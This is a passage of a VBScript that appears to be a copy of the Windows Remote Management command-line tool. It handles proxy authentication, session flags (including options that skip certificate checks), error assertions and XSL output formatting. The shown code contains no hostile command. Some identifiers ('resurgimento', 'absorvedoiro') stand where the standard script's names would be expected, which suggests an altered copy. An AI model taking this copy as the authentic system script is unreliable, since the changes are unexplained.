ASSERTBOOL false, "The specified '-" & NPARA_PROXYACCESS & "' field '" & proxyAccessTypeVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYAUTH) then
ASSERTNAL(NPARA_PROXYAUTH)
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYACCESS), "The '-" & NPARA_PROXYAUTH & "' option is only valid when used with the '-" & NPARA_PROXYACCESS & "' option"
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAuthenticationMechanismVal = optDic.Argument(NPARA_PROXYAUTH)
select case LCase(proxyAuthenticationMechanismVal)
case VAL_BASIC
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseBasic
case VAL_DIGEST
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseDigest
case VAL_NEGOTIATE
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseNegotiate
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYAUTH & "' flag '" & proxyAuthenticationMechanismVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYUSERNAME) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYAUTH), "The '-" & NPARA_PROXYUSERNAME & "' option is only valid when used with the '-" & NPARA_PROXYAUTH & "' option"
proxyUsername = optDic.Argument(NPARA_PROXYUSERNAME)
end if
if optDic.ArgumentExists(NPARA_PROXYPASSWORD) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYUSERNAME), "The '-" & NPARA_PROXYPASSWORD & "' option is only valid when used with the '-" & NPARA_PROXYUSERNAME & "' option"
proxyPassword = optDic.Argument(NPARA_PROXYPASSWORD)
end if
if optDic.ArgumentExists(NPARA_PROXYACCESS) then
on error resume next
responseStr = conOpt.SetProxy(proxyAccessType, proxyAuthenticationMechanism, proxyUsername, proxyPassword)
ASSERTERR conOpt, formatOption
on error goto 0
end if
if optDic.ArgumentExists(NPARA_NOCACHK) then
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagSkipCACheck
end if
if optDic.ArgumentExists(NPARA_NOCNCHK) then
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagSkipCNCheck
end if
if optDic.ArgumentExists(NPARA_NOREVCHK) then
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagSkipRevocationCheck
end if
if optDic.ArgumentExists(NPARA_SPNPORT) then
'this is only valid if -auth is not specified or if -auth:Negotiate or -auth:Kerberos is specified
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE OR LCase(optDic.Argument(NPARA_AUTH)) = VAL_KERBEROS), "The " & NPARA_SPNPORT & " option is only valid when the authentication mechanism is " & VAL_NEGOTIATE & " or " & VAL_KERBEROS
end if
sessionFlags = sessionFlags OR wsman.SessionFlagEnableSPNServerPort
end if
on error resume next
set session = wsman.CreateSession(conStr, sessionFlags, conOpt)
ASSERTERR wsman, formatOption
on error goto 0
if optDic.ArgumentExists(NPARA_TIMEOUT) then
ASSERTNAL(NPARA_TIMEOUT)
tout = optDic.Argument(NPARA_TIMEOUT)
ASSERTBOOL IsNumeric(tout), "Numeric value for -timeout option is expected"
session.Timeout = optDic.Argument(NPARA_TIMEOUT)
end if
set CreateSession = session
end function
private sub ASSERTERR(obj, formatOption)
dim errNo
dim errDesc
dim responseStr
dim formattedStr
if Err.Number <> 0 then
errNo = Err.Number
errDesc = Err.Description
responseStr = obj.Error
If Reformat(responseStr,formattedStr,formatOption) Then
stdErr.WriteLine formattedStr
Else
stdErr.WriteLine responseStr
End if
stdErr.WriteLine resurgimento("L_ERRNO_Message") & " " & errNo & " 0x" & Hex(errNo)
stdErr.WriteLine errDesc
WScript.Quit(absorvedoiro)
end if
end sub
' Assert Named Argument Length
private sub ASSERTNAL(namedArg)
if Len(wsmanCmdLineObj.Argument(namedArg)) = 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_ARGNOVAL_Message") & namedArg
WScript.Quit(absorvedoiro)
end if
end sub
private sub ASSERTBOOL(bool, msg)
if Not bool then
stdErr.WriteLine resurgimento("L_ERR_Message") & msg
WScript.Quit(absorvedoiro)
end if
end sub
private function ReFormat(rawStr,formattedStr,formatOption)
dim xslFile
dim xmlFile
dim xmlFileName
dim xslFileName
dim FORMAT_XSL_PATH
if Len(rawStr) = 0 then
ReFormat = false
exit function
end if
on error resume next
err.clear
if LCase(formatOption) = VAL_FORMAT_XML then
formattedStr = rawStr
else
set xmlFile = CreateObject("MSXML2.DOMDOCUMENT.6.0")
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_MSXML6MISSING_Message")
on error goto 0
ReFormat = false
exit function
end if
set xslFile = CreateObject("MSXML2.DOMDOCUMENT.6.0")
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_MSXML6MISSING_Message")
on error goto 0
ReFormat = false
exit function
end if
xmlFile.async = false
xslFile.async = false
xmlFile.LoadXML(rawStr)
if (xmlFile.parseError.errorCode <> 0) then
stdErr.WriteLine resurgimento("L_XMLERROR_Message") & xmlFile.parseError.reason
on error goto 0
ReFormat = false
exit function
end If
FORMAT_XSL_PATH = WSHShell.ExpandEnvironmentStrings("%systemroot%\system32\")
if InStr(LCase(WScript.Path),"\syswow64") > 0 then
FORMAT_XSL_PATH = WSHShell.ExpandEnvironmentStrings("%systemroot%\syswow64\")
end if
if LCase(formatOption) = VAL_FORMAT_TEXT then
FORMAT_XSL_PATH = FORMAT_XSL_PATH & VAL_FORMAT_TEXT_XSLT
elseif LCase(formatOption) = VAL_FORMAT_PRETTY then
FORMAT_XSL_PATH = FORMAT_XSL_PATH & VAL_FORMAT_PRETTY_XSLT
else
stdErr.WriteLine resurgimento("L_FORMATLERROR_Message") & formatOption
stdErr.WriteLine
on error goto 0
ReFormat = false
exit function
end If
if Not xslFile.load(FORMAT_XSL_PATH) then
stdErr.WriteLine resurgimento("L_XSLERROR_Message") & FORMAT_XSL_PATH
if xslFile.parseError.errorCode < 0 then
stdErr.WriteLine xslFile.parseError.reason
end if
on error goto 0
ReFormat = false
exit function
end if
formattedStr = xmlFile.transformNode (xslFile)
if Err.number <> 0 then
stdErr.WriteLine Err.Description
on error goto 0
ReFormat = false
exit function
end if
end if
ReFormat = true
end function